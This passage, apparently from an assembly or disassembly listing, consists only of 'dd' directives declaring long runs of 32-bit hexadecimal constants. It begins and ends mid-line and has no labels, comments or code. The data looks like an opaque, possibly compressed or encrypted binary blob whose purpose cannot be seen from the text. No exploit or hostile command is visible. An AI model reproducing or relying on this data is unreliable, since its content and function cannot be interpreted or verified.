0E021E0E7h, 948832C9h, 903696C0h, 0B994E488h dd 47B16F00h, 38CD2C45h, 3A908Eh, 2BFA6733h, 2DAE3D62h dd 0E97F702h, 0C0EDBAA1h, 0F67AA0ACh, 74470C57h, 0D650B003h dd 5E057209h, 7E54405Fh, 60425C37h, 0AE8A3902h, 3860CD31h dd 4311CEBCh, 0BD3476C5h, 4C8411h, 0DA802D14h, 380A2437h dd 80BD9957h, 591A4562h, 0D4253C70h, 2A4B0438h, 3C581C08h dd 0B927803Eh, 5EF3EB6Ah, 3F58377Ch, 314E05CDh, 70A4788Ah dd 0CF6486Ch, 40530519h, 0C01C6887h, 7CC3E928h, 85E2412Fh dd 3883DB58h, 508B76C2h, 79D80178h, 0BFA83C29h, 43903h dd 0BE67067Dh, 4B282F1h, 794940C8h, 2FD4F425h, 7033008Ch dd 61780D24h, 0E900796Dh, 7B5E18DCh, 1C54D2h, 0A45D20FAh dd 368A2843h, 9F00A576h, 0CC7537AAh, 0F6675CB5h, 3CE7264h dd 773E8ADDh, 81D89AD9h, 212CD60Ch, 0CA00C648h, 0DBA41134h dd 0DD850210h, 161ED10Bh, 0D59C5861h, 7678205Ch, 0C55AF1F4h dd 11803C10h, 581514E7h, 0D700CC0Dh, 7E90DA23h, 3700CAE1h dd 5C719FFFh, 380ADF93h, 4F000FDCh, 86F31947h, 0EA245EDBh dd 0A813E8D3h, 30B2E032h, 0AD1DF97Bh, 1905741Eh, 0E0C803CCh dd 8A800B4h, 16AE454Dh, 98006778h, 12969D74h, 42B6D84h dd 31263A21h, 0BD04F48Bh, 4DEA9516h, 7B58C405h, 7D2B3180h dd 0E93500DDh, 0DBD04A41h, 7C098053h, 6B06CD40h, 0F850A1B8h dd 0FE08A0D6h, 1CD5482h, 0EBB67C48h, 80D1BDF0h, 6ABEE660h dd 0F3D90C59h, 58863186h, 0DA01D903h, 73A0841Bh, 74F81934h dd 472F277Fh, 8761D410h, 262B0E00h, 0B5FB969Ch, 0ED7609A7h dd 0A007C98Ch, 0B833A003h, 78944ED6h, 903C4662h, 77D5A90h dd 755E116h, 2639004Fh, 0A9006EB5h, 44C4AB24h, 10AAD5A6h dd 15EB858h, 5AE3A0E4h, 0C473108Ah, 0D0095204h, 0DDD50F6Ah dd 0E4080024h, 92179F27h, 5668D035h, 0D48EBB2h, 81D80025h dd 0F5AA84A1h, 120EFA8Dh, 60471315h, 0A895E794h, 1CCE6000h dd 56EBBCB6h, 0FFA50204h, 0EF6E109Bh, 0EDE808E4h, 21ECAB14h dd 5B420208h, 85C54F8Ch, 0C003FE8h, 4626F7D6h, 52781850h dd 0F9F1B0A8h, 0BEBD7D06h, 9628D85Eh, 4EF0A4Ch, 0A543021Ch dd 6844BD95h, 9200CCB9h, 26943F0Bh, 139C0009h, 74B80520h dd 1503D6ABh, 83ADD19h, 5C80AD1Eh, 3E031C7Eh, 18839C25h dd 28A5EBB8h, 930C80E7h, 0CB09E3A1h, 8473C81Eh, 32443A24h dd 3C2CB280h, 0A59C27FDh, 84B4361Ch, 0E66000EBh, 550A9863h dd 0F52E8C68h, 0B6032056h, 0EAD78E0Bh, 0B7948613h, 7B200111h dd 6DD833A2h, 597C74BDh, 8E94211h, 0CF14B500h, 0DE057641h dd 7DD43D48h, 25AD4706h, 2D08E674h, 0F8A05887h, 3F9210B0h dd 710DBF00h, 4395E13Ch, 0BD1E0099h, 0EE5F312Ah, 2308408Bh dd 0B10D1A2Fh, 0FD20D360h, 0CE49803Ah, 47255A95h, 5EDA00A2h dd 0BACABDFEh, 0C91E64C2h, 962722AEh, 707C586Ch, 36EF0C03h dd 4B91419Ch, 28D3714Ah, 778B8188h, 11825952h, 38BD505Eh dd 19002CEEh, 0A27E2905h, 0C02768h, 76574017h, 0CFE75E52h dd 564D6209h, 0CE06804Eh, 3CA54ABEh, 342FE68Bh, 69B118A0h dd 0B300D8D6h, 0AC49BFD3h, 130F95E9h, 7F6A58h, 400CC60Ch dd 0CD2AD984h, 510BC060h, 988B3242h, 8B20E5A8h, 715F77B0h dd 1C22DB4Eh, 0C836255Ah, 6400B508h, 0C1469A7Dh, 0E890BFD4h dd 96141FD0h, 0AF24A4A5h, 92C84090h, 0B3403116h, 0A9083601h dd 3F3061D8h, 0E84202F1h, 436DDDE4h, 1D3F4840h, 64D12D80h dd 43D5501Bh, 2498DD0Fh, 40B83F81h, 917C2F08h, 86326E3Eh dd 13D08851h, 0E5A14438h, 6C814503h, 0E3997A1Fh, 7C191DC3h dd 0E552C01Eh, 155FE74Dh, 0A30BD717h, 936F6400h, 65E3281Fh dd 0E45869D9h, 0AA03F26Ch, 117677B7h, 0D609F0E2h, 52052992h dd 345E0194h, 2BA30ABEh, 83B98420h, 84934CC0h, 368BF800h dd 0BF3809D0h, 42C18201h, 3707FADBh, 199E40C2h, 44849534h dd 0D1015E26h, 38A595FDh, 72356042h, 5B32020Ch, 408F39C7h dd 318877C0h, 0F43E7F01h, 0D6D3F285h, 2F9AE30h, 0A3C3A122h dd 4061BE8Bh, 0C8DC39D5h, 0D0C932A0h, 3370B861h, 0E4B200B0h dd 2065864Eh, 25B40073h, 47991B60h, 0E848E17Fh, 214964F4h dd 28892085h, 0D2DC072Ah, 21016660h, 4DABA000h, 433ECE55h dd 49EF24Eh, 357D6233h, 994891DBh, 28202BA7h, 3405F4Eh dd 31553B9Ch, 0A9182C9Dh, 0DA16035h, 4293FEAh, 0A97D4F83h dd 0D0E622EFh, 0A2F59F18h, 4E972588h, 4AD82032h, 0DA067C17h dd 0B403BED1h, 803891C1h, 3A130407h, 0AA14E718h, 9848A11h dd 49B43ED8h, 0B8701DBCh, 242209D4h, 9C44AC0Fh, 2C33A65Bh dd 86190080h, 412EDBEEh, 0A0987609h, 0BEC49E02h, 0F25E4A33h dd 0D3A702ACh, 0DC361043h, 38A02882h, 28F523h, 45411D29h dd 957691Eh, 50825A00h, 9CA84CB6h, 4F74253Fh, 5300F046h dd 0CE204746h, 0C6E76Ch, 0FB2C869h, 65D3149Dh, 2748AE0Eh dd 31DEE0C5h, 72B82539h, 0A3450078h, 7740A186h, 0CE02E280h dd 29568407h, 7235h, 0D288DB6Dh, 664C65B2h, 3DB31D08h dd 0DA19016Bh, 39893123h, 58283904h, 82859DE4h, 34E0C40Ah dd 118BC2Fh, 0DEF7B8D1h, 0FEA6085Dh, 6DE12558h, 0CBC38C1h dd 6FEC05h, 0EFD4562Bh, 0AEE96867h, 5CDEC204h, 5AC0C116h dd 9361AA0h, 55610AB0h, 0CA9B082h, 1E5080F5h, 0EDC253Fh dd 0D8D2677Ah, 8227FA2h, 4A1E90C5h, 0D4905FD3h, 9F6C1Ah dd 0D1E54E03h, 2B98C5BCh, 871FDA00h, 1E764B80h, 0E7471h dd 0A05B275h, 0C4DBC8B7h dd 6B0967E8h, 5AE128B3h, 7C41024Ch, 4B6D8BBDh, 11F08861h dd 14698E32h, 0EF80BD00h, 0E8814733h, 87799305h, 48F0A1D9h dd 42691495h, 313083B9h, 77D6B796h, 1F0C5A00h, 57C72F4h dd 0C0C450DAh, 0FC598A34h, 5CC2B400h, 3C2617B1h, 5778822h dd 80553102h, 53A08C1Ch, 2BF03E00h, 0D67CBB67h, 0E84EEDCh dd 69014918h, 29DDEBA0h, 0D9300FD0h, 0BE86E139h, 59D31F4Bh dd 0C365347h, 0F5517CD4h, 780FE891h, 9C6E016Ah, 6F304A1Eh dd 0E62B0096h, 88313D81h, 84A86790h, 7D1938FBh, 9C182480h dd 31D2810h, 81801395h, 9C225F52h, 244C0400h, 0B5FFF2C0h dd 0B6FE7A00h, 2D32B7D6h, 8861133Ch, 0D0A40429h, 0CB8C2ECh dd 6BD20F21h, 18602A12h, 323A4058h, 0E43C5088h, 19E43F56h dd 2111B395h, 225CA890h, 6B461430h, 0C91090C6h, 90C84A26h dd 0EEAA0045h, 9AFB3097h, 38035E4Bh, 7901E858h, 4F8112A8h dd 0D8A80829h, 0A195368Ch, 0AA460078h, 0ADF6B077h, 6C00C627h dd 18C468CEh, 71743409h, 651C30FBh, 83566731h, 4E1D5427h dd 40489E80h, 108D2360h, 5B13B403h, 0B9CF05BBh, 80ED5A76h dd 0EE7F27D0h, 0A377002Fh, 1D94FFE6h, 5C033B05h, 0EAE16532h dd 0ECE7E059h, 46CBA7Dh, 9A5BF3B6h, 7E28C0A0h, 0BCA1CEDAh dd 5DF801FDh, 1298D111h, 0E4844386h, 40D8CC53h, 0A302F925h dd 88A0D390h, 0E1779h, 4CEC727h, 0AAF1638Dh, 0D7457126h dd 7D293930h, 49604434h, 4D5ADC0Bh, 0E8808261h, 0E28C46C9h dd 0BE4B03B7h, 8D2CECDEh, 0D8543391h, 0C690E2D1h, 0C660954Ch dd 161323Fh, 87158514h, 0FC532AB0h, 0F8011A26h, 457B73B3h dd 8A428318h, 8090D18Ch, 0E8D9ECAFh, 9A004943h, 920B6C52h dd 230DAABh, 0BF407821h, 6C5E0891h, 205E2064h, 6A40F4B4h dd 2424374h, 94DAE761h, 5C56F5E6h, 44FA4880h, 887D4Ch dd 0E8D63C0Bh, 0FEECF952h, 0E50A1B09h, 21C096CDh, 0E30E59EFh dd 10368B25h, 3E1E4284h, 5C3CC7A0h, 50967774h, 4C4D8h dd 77CE5198h, 0C9CB7F52h, 3C0130B0h, 2AB9A4B2h, 0B8914C97h dd 0CD8E003Ah, 1E89DF5Bh, 0BCE712D6h, 0FA64A0B0h, 0F8E92802h dd 209F36C5h, 84D5E2C1h, 8313F671h, 20B08BEDh, 340B9CEh dd 963554BFh, 0C3B13100h, 0FD403845h, 0E29300EEh, 3831050h dd 0BD3D5A0Ch, 0FCB0AAD1h, 1A3F1D13h, 8920CE2h, 3F939508h dd 0B815F4D0h, 0E50D00EEh, 4F6E4C9Eh, 5E00DE07h, 0CC8EC2A2h dd 24028140h, 2F143134h, 0CDF5010h, 0C6EF9B01h, 3203F149h dd 39476510h, 24B3CE1Dh, 0C6D74D80h, 389DB55h, 9F2B728Ah dd 0E3EF9CA3h, 0E8F879A8h, 7D007611h, 0CC151D6Eh, 0B492029h dd 7989E318h, 0FF0BC409h, 0C1102400h, 0A509E880h, 711C8BCDh dd 2AE6074Ch, 3680E9BCh, 41A36504h, 50A14D01h, 54DBA4A2h dd 3FA805D0h, 698E615Ah, 0F27B8Bh, 7534CA69h, 38BAD547h dd 0F056209h, 2E9C90DBh, 0CC7C171Dh, 91C40EB6h, 2620216h dd 88839DBCh, 70972F2Eh, 7A95F8EBh, 0E0D59426h, 0C6472701h dd 0A1E0D91Fh, 517F398Bh, 0B4885B30h, 19C4D85Ah, 0B0E9BA99h dd 6A00A853h, 1907466Fh, 6D0E861Eh, 65C5DA5Fh, 0F4CCCB30h dd 0DE5C00D0h, 0E286B04Fh, 77000D83h, 0CCEF59EDh, 0A13AA095h dd 0E313522Ch, 73FD0EB0h, 44CC2F00h, 6AB5178Bh, 0BA9511E1h dd 28804138h, 0D4DCA05Ch, 0D7CC03FAh, 0AA83C804h, 54428990h dd 0E43A9509h, 10E0D1C4h, 4EE0DD1Ah, 86D09003h, 0F00023CDh dd 6B28E7FFh, 0E85B11A3h, 89680296h, 0D30F8284h, 0FA50407Eh dd 375900E0h, 0EE8398ADh, 6200BB24h, 58BF4111h, 26C7727Ch dd 1118C085h, 0FD9D0051h, 45BC8E09h, 6E0F0FCEh, 0B5235278h dd 58000ACCh, 0BDA8941Fh, 1753DBD4h, 4F8EECh, 7DA48580h dd 0B2C00FD1h, 94326063h, 92E49951h, 822CB23Ah, 0A1405258h dd 67354C40h, 3FC92E4h, 0EC24DE46h, 56A9E957h, 79ADC87Bh dd 2B9030DCh, 0B43EBD12h, 8F161658h, 520018A7h, 7E4EF705h dd 0ECE106BDh, 2889C434h, 6BE22818h, 9C4131h, 5F31140Dh dd 89BC844Ah, 0E0C5212h, 0AB00C4E3h, 3EAA4FC1h, 0D008E01h dd 0F42615D6h, 7CF24EB9h, 0B32E0BD0h, 0FC095758h, 0E3086059h dd 0C4B46727h, 723F09A1h, 791401A4h, 0A99B71C7h, 0C5D9D4F7h dd 97F69100h, 0EF81053Fh, 0C0B34A8Ch, 9F00A9Ch, 3304A090h dd 61128621h, 982218BCh, 0FD03F37Ch, 0F9C2D5FEh, 1E60A725h dd 2DD80D4Eh, 544ADD1Ch, 0F0DED499h, 0A100874Ah, 0E295ADEAh dd 3865BD44h, 24CC71EBh, 1058E502h, 0CC6316F3h, 559088B4h dd 0D8610B00h, 3C7C1174h, 0E673E486h, 0EB521D65h, 0A435138Ch dd 48016C98h, 0C6F1E90Eh, 77C0BC57h, 0BE810A37h, 80909C21h dd 0F91A4A82h, 48B8B27Dh, 670244h, 0AA27A674h, 1A73D068h dd 0A870F0FCh, 107214B2h, 88228429h, 0C31CBD82h, 58597Dh dd 37A81B44h, 843B5878h, 11E3896Ch, 0F0802BBh, 0B38898D5h dd 0BEAD2481h, 60102F00h, 6B00E97Eh, 0E7C5A218h, 0BCBE46h dd 22B86549h, 5AD7A02Fh, 0FC6A1724h, 0C59E6360h, 0DB840098h dd 24FFB491h, 7825E469h, 2CCCE419h, 3A9A48E3h, 0D3072902h dd 0A760AA31h, 3400E745h, 0F5A04187h, 5C67DE88h, 3172BBC5h dd 5E118F52h, 0D3B07057h, 9E492E3Fh, 7212511Fh, 888A7838h dd 0ED061791h, 0CAD5795Eh, 0A5100F0h, 0D2160D64h, 7748E3F7h dd 81BC06DCh, 3B1861A5h, 0F500594Ch, 8384355Ah, 0E3171FECh dd 6800C614h, 0FA53D281h, 0EE572CB2h, 0F78B006Dh, 3C1D4F9Eh dd 50AD2607h, 10B0F856h, 58997863h, 720C5447h, 0A408A5Bh dd 0CE59B20h, 54BBB31Bh, 0E800A318h, 441658E1h, 2851BCC3h dd 0CCA278h, 0C28B1FD2h, 50E9607Ch, 0AB602FEAh, 0B5F2B30h dd 0F1610B4Eh, 688CDB54h, 0EB8130E8h, 0C9E910F2h, 43117C44h dd 0A83C8C62h, 89C53064h, 0B020F4E9h, 23766580h, 2FE47469h dd 0BDC0F8E8h, 0B3F798DDh, 0FA0070E0h, 8826C203h, 7543C4h dd 49CC59A8h, 0A561F409h, 0E6BD9B0Eh, 50DE40CEh, 26F922Dh dd 28B406Eh, 46091F4h, 1509B466h, 50C0EFD4h, 98213D4Ch dd 8376D687h, 0A530C41Dh, 77B16020h, 0D20F9090h, 6127870Fh dd 0A3782260h, 3051A070h, 5D208D3Dh, 0CC140AB2h, 0E520EEA4h dd 8B20D110h, 401E41h, 0C424B6E8h, 743746B8h, 95700701h dd 60A12E04h, 2E780130h, 14CDEDh, 0F40F7B6h, 24A19CD6h dd 0E047103Bh, 3020F2Eh, 0BFA0D6C7h, 56AACE4h, 8604189Dh dd 0B67E01F4h, 59DECAEBh, 2A346187h, 3674828h, 7F5B9A52h dd 75B098B5h, 6008215h, 0D911C1CAh, 4D381A14h, 0BE1208E6h dd 0D3100367h, 76C1BF2Dh, 28844274h, 150150F9h, 7CE0101Ah dd 3E9D9434h, 17185C63h, 0B6D018AFh, 74817C83h, 9C28B0DFh dd 71018008h, 60B8C81Bh, 0A062781Dh, 818799Dh, 0F94421h dd 0DD406514h, 837EF30Bh, 396FEA12h, 0F2E70400h, 6C563E3h dd 980A1F64h, 0BC0B1807h, 7A35FA21h, 4F460484h, 91E3A24Bh dd 9865E738h, 0A4218E08h, 574B0377h, 0C1E94F70h, 7B7D8BF8h dd 953F04B0h, 2C0B28D2h, 83EA1F0Ch, 1D1030h, 2049E3E0h dd 0FA6F9964h, 0B3876703h, 0C041458Eh, 0C153DAh, 97ECB063h dd 0E33B9385h, 0B842022Eh, 6765CC00h, 1538310h, 0DF3FC658h dd 0FB75A7BBh, 120A40CFh, 6F006CF7h, 0E82EF33h, 7C2C9299h dd 0A37E00E7h, 0E560B46Dh, 5F00C6CCh, 82EC36Bh, 391FFFDDh dd 0CF00AF70h, 0B22BD544h dd 0A900FC7Bh, 993A3937h, 795A3DCh, 36D0D88h, 0A570A043h dd 0EB0077B2h, 83B03772h, 133834h, 0DE4DB44Eh, 50EFA6B3h dd 89FC58h, 8EF0BF76h, 1FE4ECA9h, 40B0CF9Ah, 361B5133h dd 0D100DE9Fh, 6E604C6Dh, 0C0DABED4h, 30239620h, 76004257h dd 0EE9855FBh, 343788h, 0C9EA034Ch, 17656A24h, 0FCC79D1Dh dd 6E2F8C00h, 601BCF96h, 41B00886h, 9A005B40h, 8951248h dd 3037A405h, 9E20908Ch, 2607547Fh, 68815D8Dh, 0D1E29970h dd 34AE0F31h, 0BFE60D5Ah, 50E291D7h, 21D0FF00h, 4C85D95Dh dd 7C2603F0h, 0AC2B9A13h, 156C02C7h, 100A78Fh, 46B7F04Fh dd 671438h, 88A6036Bh, 2A901F94h, 0FC8480E4h, 17EA00FBh dd 8A0FD055h, 4D00B1DBh, 3F5A2D6Eh, 0FE398CFh, 0CC1D5FBEh dd 7B6BA661h, 294880C0h, 4AFE633h, 9DA50C2Ah, 0CFA8BE52h dd 8313DD02h, 80FAACF3h, 10B7EF8Ch, 0ED3D00F1h, 13FDE97h dd 3106CE8Dh, 0ACEB4307h, 0A4E10050h, 8AD8CAC1h, 13015675h dd 5C3FD7E3h, 1880C60Bh, 0BC457A41h, 4300D4CFh, 4E93DBD5h dd 0C2ABB9h, 5E5C22CAh, 95DCCC3Ch, 7E47348h, 0ECDBA0B1h dd 3183A86h, 5BF6591Dh, 0BE1D998h, 65D0E049h, 4700A178h dd 0E13041A8h, 1555DAh, 4DC2AADBh, 3D40935Ch, 0D1D5E200h dd 0B1781456h, 185BF03Fh, 80C84E08h, 59302C4Bh, 385D18AAh dd 40E0609Ch, 1CFFEFCAh, 7D60E97Fh, 915D4568h, 0DCD300ADh dd 0ED47E1C3h, 0A0C2256Dh, 0FDD8F057h, 4098BC0Eh, 0B1305D98h dd 6B8E5899h, 851A01DEh, 9D2DCAC0h, 47188096h, 0C358C74Ah dd 8CF1ED4h, 0B8110A40h, 0EB4B0094h, 0CBF28D5Bh, 0E0F95C39h dd 75E91F58h, 8848A079h, 0DDB02270h, 2F40157Ch, 5C931841h dd 135FC8C9h, 0B5E8CE62h, 752136A6h, 1F6ACF79h, 0D23200C0h dd 5D41D9AEh, 682D9E31h, 0B8501EE9h, 5103F819h, 58A1F858h dd 0E918D604h, 7210DF64h, 90C360E8h, 224760E1h, 6823DB00h dd 0E9DDB4CDh, 0D072032Ah, 0C11579C2h, 44CC2910h, 0CA03F400h dd 9BD4092Ah, 9503617Bh, 109DBE5Eh, 0EDD6902Ch, 824B3FE4h dd 6C406000h, 0A404D8E0h, 0B6B02E00h, 78A864FCh, 0DDCE00B7h dd 0DB4E3B6Dh, 221E83C5h, 15DD97A4h, 1B6B8440h, 38CFF42Eh dd 0A80E339Ch, 0F66650h, 7A47DCB0h, 80003E28h, 0A11ABAC8h dd 58EEA226h, 0C6040593h, 0C166ED31h, 0F0924877h, 900EAF91h dd 0A082DD67h, 62B45019h, 0DE710095h, 0EB7AAD1Dh, 0CC030F4Ah dd 76D74618h, 0DC29E85Ah, 73B00396h, 47EE1A8Fh, 0F5CF4001h dd 0C40B6B3Dh, 6DFBAC40h, 349B0767h, 506CB717h, 0EB3F8060h dd 2389D400h, 0B32FBD20h, 22740030h, 44C2C84Ah, 7004872h dd 0FDB4676Fh, 5ABFD9h, 1F0B58B2h, 460802Ah, 420096F0h dd 71B8125Dh, 32476Dh, 61C2F45Bh, 5EA34D1Dh, 6544ED0Eh dd 0A897602Fh, 0A7B47Bh, 0C0694718h, 0CC1BCDD4h, 67F93D00h dd 7FC51EA2h, 0A000B0A7h, 0F1C304h, 0B4E325BDh, 7B5450F8h dd 2136CCA0h, 0E50CC800h, 664512F2h, 376C0057h, 0EBA6203Ch dd 0FC0159FEh, 0B4904C87h, 0BEE805B9h, 6A49006Eh, 5E439CA8h dd 801A640h, 1219E98h, 3AF8CC26h, 0BC7511h, 0EEBBF20Eh dd 1E6C3EADh, 4F029AF0h, 7993C05Ch, 788C6038h, 5886FAAEh dd 0B9000ADAh, 5C1EAA9h, 1D1D2D56h, 0D180C30Ah, 0C8B6769h dd 0D2830ECAh, 87C12ECCh, 0E06A3C88h, 954D10F7h, 74530EB0h dd 3764C046h, 0A31D03h, 0FE5BF43Fh, 82AF5984h, 0E7314301h dd 0A5ACC8E9h, 6A2030h, 3B38816Bh, 0F473D81Ah, 75EDDC00h dd 0F506087Dh, 1C5C90C1h, 8053CF3Eh, 0E729DD35h, 0E503DAC3h dd 11781D82h, 48C0922Fh, 7FBA770h, 995D6C61h, 1201A9D6h dd 0DC245AC4h, 0D8016306h, 293E0803h, 0DC20D931h, 16C900CBh dd 1A6A8723h, 0DF00F72Fh, 0C30165F3h, 7D1F4607h, 0BC69000Bh dd 0E61EEC80h, 0A600677Eh, 591C4F9Bh, 31423Ah, 0C4472E74h dd 0EAA55885h, 0B793F80Eh, 8B98E084h, 7590D808h, 49CD1D26h dd 0F0C2890Ch, 1C25DF09h, 29E40E81h, 0A68B3400h, 1B24B97Eh dd 0E0068F7h, 0F6EFA4E6h, 76177E27h, 0C4FB4872h, 0AF2E5900h dd 42D46D15h, 96E00812h, 0C70DC500h, 0CCA83Eh, 87656F72h dd 0E4D31320h, 9586B01h, 22D75ADDh, 0C240F8h, 49AFD7Fh dd 0E4C7AB27h, 8C6BF430h, 1D8D8Ch, 0E6BDE7E2h, 5DFB0B32h dd 1A53D600h, 6BF0C9CDh, 8BC1C02Fh, 5EA21C35h, 7C313000h dd 0F8667745h, 15F100E4h, 0E9F25162h, 291FED88h, 3007D41Fh dd 9EC05C49h, 0E63175BBh, 19FA1FDEh, 144A6FCh, 7CDB1707h dd 0BA14C8F4h, 830C403Fh, 0C39A42E8h, 800D92D3h, 0B7FED49Fh dd 0B0010078h, 0D11A48FBh, 0B500A8F4h, 0D473F98h, 0E2ADF267h dd 4829059Ah, 0DB025Dh, 7C708FCh, 9B145F65h, 0E806BDh dd 37D1C9ABh, 2556EDh, 0C1042161h, 3C8C6FAh, 3D7B4C00h dd 73B69A38h, 0A9D23A93h, 7617CA80h, 3197BE32h, 88902001h dd 1CCEC05Ah, 0FC6EB5E4h, 8D811D5Eh, 40F4D215h, 0C20B4CCCh dd 7F280D53h, 7203F4A0h, 193EA39Bh, 4D05E1D1h, 29E1E4h dd 8223B246h, 42EA8FA5h, 0DF0285B8h, 536D97CEh, 74986069h dd 0A4EE0C67h, 0AC1015CAh, 0F41CD425h, 2D840EC1h, 41E70F36h dd 3A345A60h, 0D23B13A9h, 3FE1ACDCh, 0C6ABEE00h, 521DCC77h dd 620EF8EAh, 0A580D9F5h, 0D8861F97h, 20479CA1h, 4F390EC4h dd 4A380066h, 0E8B28392h, 2B5A07A4h, 908D86F3h, 0E33A08BFh dd 92E5BC0Eh, 0C8801C5Eh, 8BDD18F0h, 454300E4h, 9EBB558Eh dd 54003224h, 0C67F753Bh, 2E1E95h, 52307870h, 1B315BA9h dd 0DDCB3703h, 0D20C02C1h, 0CAB4C83Ch, 4CBC0B6Eh, 0F8810634h dd 30793167h, 18B06BFEh, 2A0097F2h, 0E6CE98D1h, 72FDD3C0h dd 322F00B3h, 600C5BDFh, 5C004B6Fh, 1F7B3C70h, 16598C89h dd 5DDF1945h, 0C5E9C0ECh, 47B6CC63h, 1870DADEh, 192FA743h dd 1168E380h, 0EA92E0FFh, 6C0F3B00h, 94F841D3h, 3C05F051h dd 28000DF3h, 0F1271A18h, 0D71C5992h, 5A869B2Eh, 16876D6h dd 9F8D6E0Ah, 0BD478F11h, 0CA1C9250h, 0B36AB440h, 0F6C2ABC0h dd 787F17C7h, 0F14042D2h, 66C040E1h, 0B6186FDAh, 4B385E46h dd 647E01CFh, 0A58FC4Dh, 71319FCEh, 5D6070E8h, 0E5A17468h dd 0AAF31E54h, 630C015h, 0D9E2079Fh, 0F800CBF0h, 0A4E08E0Eh dd 573428h, 13D06A79h, 0AC618999h, 0F43B6B00h, 381BAF4Fh dd 0E6C40062h, 0C07AE2C1h, 0A4006750h, 0C72B59D3h, 5B9D8Ah dd 1A739295h, 8172BEDDh, 427DC1EFh, 0DE01DC2h, 0CD004CD0h dd 5B3EA59Fh, 3FC65604h, 1B3F324Ah, 0B47C00F6h, 0FC970199h dd 0C90ECE6Eh, 219DC1F2h, 0DF3A9E02h, 94CCC4h, 9C43668h dd 0A54D8C5h, 0A04C7160h, 1841CEh, 12458E5Bh, 0D4F7C581h dd 8CDB6C0Ah, 2A4094EBh, 3601F7Ah, 0D17C6F4Dh, 8309F71h dd 8D182106h, 65B9001Fh, 543C0785h, 1E254332h, 0CAE000EDh dd 0DB4812h, 5379977Fh, 0BDDE845Ch, 0E2CD7800h, 45401ED1h dd 0CF1512AEh, 8D2402DCh, 0F8A0D6A0h, 0B41E46A2h, 0BF764E01h dd 0BC0E41DFh, 0B828AFD1h, 1E7E9500h, 26714C23h, 8B35D30Bh dd 39DD8783h, 78D4CE70h, 0F1030058h, 525C2321h, 0DC01CCD8h dd 0AADB654Eh, 1888FF1Fh, 642E38B6h, 19E89387h, 0D2C50440h dd 888CA9CEh, 1F7B7618h, 118F4D23h, 8E04003Bh, 0FB69C61Fh dd 926000A6h, 88C09A10h, 0A1097F79h, 8AD866D9h, 0B840E4CEh dd 34714B6h, 0CFB7B440h dd 8779C59h, 8F9FA4A8h, 534F1400h, 0EA1C34A0h, 0B6030D4Bh dd 80B6E882h, 6188C350h, 0D9A6C9h, 0D53F1847h, 2FCA218Bh dd 8AFFBC00h, 0F2239702h, 47A51E81h, 0EB0F00F0h, 579FD41Bh dd 0A629D703h, 0F0D0862Bh, 3F1E93BAh, 18BACDC6h, 0A30E0C03h dd 5A809138h, 0BF002367h, 14F23069h, 7231E9h, 66449433h dd 0A0981C2Ch, 4DCBB000h, 806049D4h, 821501A1h, 0B80E5BC1h dd 0B63CECD9h, 0D303F0F0h, 4B47F29Ah, 431468Ch, 1E0F5AF0h dd 0C94C10C0h, 3D629FCh, 0DEDF01B0h, 0A798A44Bh, 5A019635h dd 4F133A79h, 14473D4Ch, 0D144DC54h, 3B6D44A3h, 48C68344h dd 0BFF642A9h, 29E40C2Bh, 65F5449Fh, 0BCC53CA0h, 1441B589h dd 1112FA2Fh, 8BBDBA10h, 0C8F427ECh, 83C0D4Ah, 5D91B845h dd 487C9D07h, 503D20FAh, 840F0C31h, 0C0CA8CFCh, 0B26C1D6h dd 0C51800E3h, 645E2A5Ch, 1C386BD7h, 0CFBA042Ch, 8DC0BB17h dd 73FDC7h, 667CA33Dh, 0DE06FC39h, 5DBA6400h, 0A619F831h dd 4DC400F2h, 0E49686C5h, 0EE003985h, 0F5B0D327h, 0F3A118h dd 3FBEDB7Dh, 652E63C2h, 0AF5BC801h, 0EEC93CD6h, 35F170h dd 0C6165E1Eh, 36822A46h, 0B400BCF2h, 867ACB51h, 65D9DAh dd 2A08C9B6h, 6B7D8488h, 0E357F900h, 1C9C2B80h, 0C8713BD0h dd 5E03A201h, 0FCEA7201h, 620070C5h, 18BAC9E5h, 0FA598F34h dd 0D69C0051h, 0F5A9070Eh, 0A80005CDh, 0CF1DD0FAh, 67186Dh dd 42FC77A2h, 3F31A9Fh, 0AE83BE03h, 904EE270h, 0DB5762h dd 0F4CC1FEFh, 23D72F8Eh, 0A06D6C00h, 4AEA5FC7h, 0D69602FAh dd 2A0648E1h, 803AD1E0h, 1E421300h, 91D79A4Bh, 944500F6h dd 364D7C1Dh, 8800EC3Ch, 60EA6A74h, 92E00D41h, 2CFC0084h dd 0B685455Bh, 0F7074E2Dh, 0CD4287B9h, 0E4D2DB80h, 0D34D00E7h dd 7F51BCD5h, 0F53148D7h, 3F88050h, 0DD6C90D7h, 0E35D00CBh dd 92568F86h, 6A01FC37h, 600BB64Bh, 30805330h, 0FEF8E99Eh dd 29001F41h, 92522B69h, 7831A625h, 4F2B4h, 3788CDA1h dd 44146067h, 0A8557C30h, 4A22AFh, 0EE931AB4h, 7F52C173h dd 88EFBE00h, 0E0F996FBh, 0C55504E6h, 0AAE97AD9h, 0DA784BC0h dd 0E2D51CDCh, 8B6B4CF0h, 0B7007CE1h, 8038AD18h, 783FC0EAh dd 0C564001Ch, 1753349h, 0A300557Ah, 0D06E2816h, 309D53h dd 0B869BD86h, 81AB8087h, 3EBFB73Dh, 2D2000F9h, 0F458FA28h dd 2A3B004Ch, 942EAAA9h, 24003DB5h, 0CB99E756h, 3467E71h dd 20C5E596h, 1CD01F90h, 0BD1813B4h, 0E298829Fh, 4B38009Eh dd 6A5AEB34h, 0CA308357h, 48A88CE4h, 9AAA003Fh, 919C86E5h dd 0BF12A50Eh, 0C80F44FFh, 6AD220C5h, 135C8804h, 0A8094Bh dd 0C3EFA158h, 2200F5DAh, 6F502C79h, 24897A46h, 3CA8BCh dd 7E8DE3F3h, 0C2005DC3h, 0AFD7FD98h, 0CA5D1h, 4562286Dh dd 0CF54832Fh, 0D4573700h, 0A3E59341h, 43A21C20h, 75768091h dd 0B089FBA9h, 14FCBA01h, 92B3839Dh, 0F8D8040h, 0F55C00F7h dd 0CB911D88h, 0C90527Eh, 0A286EC0Eh, 1FCD60EBh, 84FAA5h dd 19592D33h, 74997748h, 1BD2C007h, 0D130E18Dh, 4D44DC6Ah dd 0FB0BC8A3h, 0F2009043h, 947F3C0Eh, 2B5DD00h, 0E3A6E80Ah dd 0F3D49032h, 78737F8h, 5CB05D24h, 0F3990EAh, 795A90F3h dd 3800B4F8h, 8E37DA68h, 3E01D0FBh, 0B31553C7h, 0BE20A66Fh dd 0A8780073h, 0D8E75163h, 0DD1E66C0h, 208032A7h, 0F948D6C1h dd 0C5CC0EB3h, 0D8E0AAB4h, 8D9D9329h, 2F287B00h, 0DBEBC6C7h dd 